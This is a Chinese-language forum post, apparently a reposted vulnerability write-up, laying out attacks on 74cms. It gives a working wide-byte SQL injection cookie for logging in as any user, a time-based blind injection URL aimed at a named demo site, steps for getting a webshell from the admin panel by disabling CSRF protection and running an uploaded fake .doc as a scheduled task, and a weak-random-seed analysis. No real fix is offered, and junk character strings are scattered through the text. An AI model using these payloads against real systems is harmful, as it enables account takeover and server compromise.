骑士cms注入及后台拿shell

0x1 任意用户登录

　　0x2 盲注
6 g3 @  m* z) E& }9 V
0 Z# R: y* A7 U1 c% Z1 E　　0x3 后台拿shell

2 x; h* Q8 w, _+ p  z　　0x4 随机函数问题

　　详细说明：
& L: q& a: R& S4 Z) t( J1 k6 `
* Z5 g0 c) S2 t( k# F! Z　　0x1 任意用户登录

0 K8 g5 _9 S6 @* J4 j& L　　user/login.php

　　elseif((empty($_SESSION['uid']) || empty($_SESSION['username']) || empty($_SESSION['utype'])) && $_COOKIE['QS']['username'] && $_COOKIE['QS']['password'] && $_COOKIE['QS']['uid'])
# W  b8 O% \0 g6 _$ c/ o
　　{

; q$ i' r0 R8 w$ ~+ A1 u　　if(check_cookie($_COOKIE['QS']['username'],$_COOKIE['QS']['password']))

　　{

) c  O& i- z. D4 Z3 W　　update_user_info($_COOKIE['QS']['uid'],false,false);
' d/ m; e5 {8 d" d. ^
% c  p- n3 c+ [3 Z. B" _　　header("Location:".get_member_url($_SESSION['utype']));
7 m1 e) b5 u$ w6 h
$ i- D9 Q) V: l( R( }. w, m' x　　}

　　else
  G; [; `) v/ R8 I- j# H2 z
3 x9 f2 T# {" [+ e3 f　　{

　　unset($_SESSION['uid'],$_SESSION['username'],$_SESSION['utype'],$_SESSION['uqqid'],$_SESSION['activate_username'],$_SESSION['activate_email'],$_SESSION["openid"]);
/ f6 M+ `5 L# c$ ]4 C; H. u6 l
  f% F1 \4 Y/ d$ }  _　　setcookie("QS[uid]","",time() - 3600,$QS_cookiepath, $QS_cookiedomain);

% t+ ]8 U, v5 E; O- j4 f: W7 J　　setcookie('QS[username]',"", time() - 3600,$QS_cookiepath, $QS_cookiedomain);

　　setcookie('QS[password]',"", time() - 3600,$QS_cookiepath, $QS_cookiedomain);

　　setcookie("QS[utype]","",time() - 3600,$QS_cookiepath, $QS_cookiedomain);
: R, B2 i$ z0 M& P1 U
5 C( O7 m- M) X  t2 F' G　　header("Location:".url_rewrite('QS_login'));
! t, T8 s# {* m* Z0 I: F# [
. f% d2 E+ k! J, u/ i- V% m　　}

6 e; E3 G, }. q: n  t　　}
3 X6 s/ U/ K5 d  S3 V
　　include/fun_user.php
" l+ T% Q& W0 D" \: Q; P7 r8 n
3 M! F6 s2 O% c# {5 ~/ A3 h; v$ x( g1 g　　//检测COOKIE
0 M8 h) y: X, z- v
1 m* R. K1 b! [: i% v- q( ^　　function check_cookie($name,$pwd){
+ H4 W! H# o* h* p3 G# f# ?
　　global $db;

　　$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('members')." WHERE username='{$name}' and password = '{$pwd}'");
3 i3 O8 B# V" D8 V3 u. g
! g/ ?  O4 X( K* i9 e　　if($row['num'] > 0)
" o- J( N, W9 |, h% u" J
* ]0 a" U& ?3 w　　{

' _* l' W4 G# E7 ^& |　　return true;
: ~; ^4 h7 _5 f0 o. m( Y9 t
　　}else{
6 y" x, Q: j" k7 ~) H* Z2 M
　　return false;

　　}
. @1 z1 A0 M9 O0 {% b
　　}

6 s) \, X' b  u. s$ y/ x　　构造cookie如下
2 [; H, |7 o5 H" i
6 s- G4 w# k& F0 c' X- ~/ f　　QS[uid] 2

7 q) ?2 u8 }4 g1 A　　QS[utype] 1

　　QS[password] 111111111111111111111

　　QS[username]%bf%27 or 1=1 %23

　　uid 为假冒用户的ID utype为用户类型password任意

　　0x2 盲注
) F) |! n( V: L3 H4 q
　　http://demo32.74cms.com//resume/resume-list.php?key=test00%bf')/**/and+if((select/**/admin_name/**/from/**/qs_admin/**/limit/**/0,1)=0x61646D696E,benchmark(1000000000,(select/**/1)),1)/**/%23

1 F) N6 t" K$ v- d) i4 ^　　上面两个都是宽字节注入,如果你能猜出管理员密码，还能解出双重md5的话，还能猜出后台路径，继续看下面

) \9 a- a4 v- d; W; g2 w" s2 y　　0x3 后台拿shell

/ i4 l! r3 \, C+ R' a  P　　1.先关闭csrf防御功能

0 d, z5 b! c8 V6 t* L, O) h  I　　2.在hr工具箱中添加一个伪造的doc，内容为，记下路径data/hrtools/2012/06/1339941553308.doc
# a2 P! Y% z8 D
　　3.在工具-计划任务中添加任务，脚本任务填../../data/hrtools/2012/06/1339941553308.doc

　　4.然后执行
% _7 g6 w! W' `" D; `+ O9 [8 s" i
　　0x4 随机函数问题(几乎可以无视，纯属个人YY)

　　在admin_common.fun.inc.php中有个$QS_pwdhash是在安装的时候赋值的，只要能猜出就可已不用解双重md5了。
6 \0 k! P: `# p) U( ^* D+ Q
6 X& X5 }( g# y. H5 M1 ]; {, M　　这个$QS_pwdhash是由randstr生成

　　function randstr($length=6)

　　{

7 Q) ]. G) S0 i　　$hash='';

　　$chars= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz@#!~?:-=';

* p6 f* `1 r7 M! t# ^1 U　　$max=strlen($chars)-1;

# A* C: M# p+ I0 }0 u) a5 l: K4 a, H　　mt_srand((double)microtime()*1000000);

, h. i3 n/ T( U* Y　　for($i=0;$i<$length;$i++) {
5 p: V3 c& g* g8 n5 Y" K: a4 |. H
　　$hash.=$chars[mt_rand(0,$max)];
# ~4 {0 R  g0 _5 x' M7 ~
* ~( n4 I  e! M( d3 K$ _" g　　}

　　return $hash;
: {" k- e+ `; p8 T
　　}

% l, P# U' z& u# I/ G+ ]! y　　生成长度为6的随机数，mt_srand()播种一样，就会得到一样的随机数，所以我们最多要猜1000000次就可以了(蛋疼)
) y: \" L1 L, R
　　漏洞证明：

1 L- Z# F, j- m$ K2 E; E* o( i4 m3 i/ x　　修复方案：
  n$ D# Y2 }- s* y
　　do it yourself~

9 @- K1 f# [  N0 l) b1 A& q解决一切网站安全，湖盟云防火墙：hnhack.com

学习到了，之前一直没注意过这个点，受教了

刚好遇到类似问题，看完这个帖子心里有底了